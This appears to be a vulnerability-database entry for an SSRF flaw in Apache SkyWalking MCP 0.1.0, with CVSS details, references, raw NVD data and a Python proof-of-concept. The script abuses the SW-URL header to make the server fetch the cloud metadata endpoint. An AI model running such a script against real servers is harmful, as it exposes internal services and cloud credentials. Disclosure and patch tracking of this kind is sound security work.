CVE-2026-34476

Description

Server-Side Request Forgery via SW-URL Header vulnerability in Apache SkyWalking MCP. This issue affects Apache SkyWalking MCP: 0.1.0. Users are recommended to upgrade to version 0.2.0, which fixes this issue.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:skywalking_mcp:*:*:*:*:*:*:*:* - VULNERABLE

Apache SkyWalking MCP 0.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_ssrf(target_url, internal_url):
    """
    PoC for CVE-2026-34476
    Exploits SSRF via SW-URL header in Apache SkyWalking MCP
    """
    headers = {
        "SW-URL": internal_url,
        "User-Agent": "CVE-2026-34476-PoC"
    }
    
    try:
        response = requests.get(target_url, headers=headers, timeout=5)
        if response.status_code == 200:
            print("[+] Request successful!")
            print(f"[+] Response: {response.text[:200]}")
        else:
            print(f"[-] Server returned status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error occurred: {e}")

if __name__ == "__main__":
    # Example usage
    target = "http://vulnerable-server:8080/mcp-endpoint"
    # Targeting internal metadata service (example)
    internal_target = "http://169.254.169.254/latest/meta-data/"
    exploit_ssrf(target, internal_target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34476
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34476
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34476/
[4] VulDB https://vuldb.com/cve/CVE-2026-34476
[5] https://lists.apache.org/thread/v0k1xyzzbtnpyrwxwyn36pbspr8rhjnr
[6] http://www.openwall.com/lists/oss-security/2026/04/13/4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34476", "sourceIdentifier": "[email protected]", "published": "2026-04-13T13:16:40.847", "lastModified": "2026-04-20T16:45:47.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery via SW-URL Header vulnerability in Apache SkyWalking MCP.\n\nThis issue affects Apache SkyWalking MCP: 0.1.0.\n\nUsers are recommended to upgrade to version 0.2.0, which fixes this issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:skywalking_mcp:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.1.0", "versionEndExcluding": "0.2.0", "matchCriteriaId": "2F427ACA-F1D3-4D26-A416-555D3B2B983F"}]}]}], "references": [{"url": "https://lists.apache.org/thread/v0k1xyzzbtnpyrwxwyn36pbspr8rhjnr", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/13/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}